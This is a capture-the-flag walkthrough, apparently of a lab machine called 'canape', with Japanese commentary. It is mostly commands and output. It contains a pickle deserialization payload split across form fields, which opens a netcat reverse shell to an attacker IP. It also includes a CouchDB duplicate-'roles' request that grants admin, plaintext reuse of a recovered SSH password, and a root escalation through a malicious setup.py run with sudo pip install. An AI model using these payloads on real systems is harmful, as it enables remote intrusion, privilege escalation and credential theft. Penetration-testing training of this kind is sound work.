nmap -sV -sC -p 80 10.129.229.137

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache/2.4.29 (Ubuntu)

curl -s http://10.129.229.137/

<title>Simpsons Fan Site</title>
<p>CouchDB-powered quotes database. That means your quotes are coming at
you faster than ever!</p>
<a href="/quotes">View Quotes</a>
<a href="/submit">Submit Quote</a>

curl -s --max-time 10 http://10.129.229.137/.git/HEAD

ref: refs/heads/master

git-dumper http://10.129.229.137/.git output/
cd output/ && git log --all --oneline

復元したFlaskソースを読むと、/submit で受け取った character/quote を
組み合わせてサーバー側でシリアライズし、Cookie(id)としてクライアントへ
返す。/check エンドポイントはそのCookie値をBase64デコードした上で
Python 2のcPickleモジュールでデシリアライズしている。

pickleはデシリアライズ時に任意のオブジェクトの__reduce__メソッド呼び出しを
許してしまう既知の危険な仕様であり、`os.system(...)`を呼び出すオブジェクトを
pickle化してCookieに仕込めば、デシリアライズと同時に任意コマンドが実行される
(Insecure Deserialization → RCE)。

アプリはcharacterフィールドに人物名らしき文字列(例: "Homer")のみを
許可するバリデーションを行っているため、pickleペイロードをそのまま
characterへ詰め込むことはできない。一方でサーバー側の実装は
「character + quote」を単純に文字列連結してからpickle化するため、
protocol 0(テキストベース、改行区切り)のpickleオペコード列を
character側とquote側の2つのフィールドにまたがって分割して送り込む
ことで、連結後に正しいpickleバイト列が再構成されるようにできる。

curl -s --max-time 15 \
  --data-urlencode 'character=cposix
system
p0
(Vhomer' \
  --data-urlencode 'quote=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 4444 >/tmp/f
p1
tp2
Rp3
.' \
  http://10.129.229.137/submit

# 別ターミナルでリスナー待機
nc -lnvp 4444

# /check エンドポイントへアクセスしCookieをデシリアライズさせトリガー
curl -s --max-time 15 --data-urlencode id=<登録時に返されたCookie値> \
  http://10.129.229.137/check

[+] リバースシェル受信 from ('10.129.229.137', 57890)
/bin/sh: 0: can't access tty; job control turned off
$ uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ ps aux | grep couch
$ curl -s 127.0.0.1:5984/

CouchDBのErlang側バリデーションロジックは、JSONボディ中の"roles"キーが
複数存在する場合、そのうち1つ目の値(この例では
["_admin"])を見て「admin権限を付与しようとしている」ことを検知し拒否
しようとする。ところが実際にドキュメントとして保存される段階では、
CouchDBが内部で使うMochiweb JSONパーサの挙動により、1つ目の
"roles":["_admin"] がそのまま採用されてしまう(バリデーションと実際の
保存処理とで参照するキーの位置がズレているバグ)。この不整合を突けば、
admin権限チェックをすり抜けて任意ユーザーをadmin化できる。

$ curl -s -X PUT http://127.0.0.1:5984/_users/org.couchdb.user:pwn \
  --data-binary '{"type": "user","name": "pwn","roles": ["_admin"],"roles": [],"password": "pwn123"}'

$ curl -s 127.0.0.1:5984/passwords/_all_docs --user pwn:pwn123
$ curl -s 127.0.0.1:5984/passwords/<doc_id> --user pwn:pwn123

passwords DB ドキュメント 4 件発見

sshpass -p '0B4jyA0xtytZi7esBNGp' ssh -p 65535 homer@10.129.229.137 cat /home/homer/user.txt

9b80c0b154e22c4371feea2b5d6737bc

echo '0B4jyA0xtytZi7esBNGp' | sudo -S -l

Matching Defaults entries for homer on canape:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *

pip installはsetup.pyを実行してパッケージをビルド・インストールする
仕組みを持つ。sudoで`pip install .`(カレントディレクトリのパッケージを
指定)を実行できる場合、そのディレクトリのsetup.py自体がroot権限で
実行されることになる。setup.py内に任意のPythonコードを仕込めば
root権限のコード実行に直結する。

import os
os.system("cp /root/root.txt /home/homer/root.txt; chmod 644 /home/homer/root.txt")

mkdir -p /home/homer/.canape_pip_pwn && cd /home/homer/.canape_pip_pwn && \
printf 'import os\nos.system("cp /root/root.txt /home/homer/root.txt; chmod 644 /home/homer/root.txt")\n' > setup.py && \
echo '0B4jyA0xtytZi7esBNGp' | sudo -S /usr/bin/pip install . ; \
/bin/cat /home/homer/root.txt

81fe6d51e244aa4b65e650542d12d14d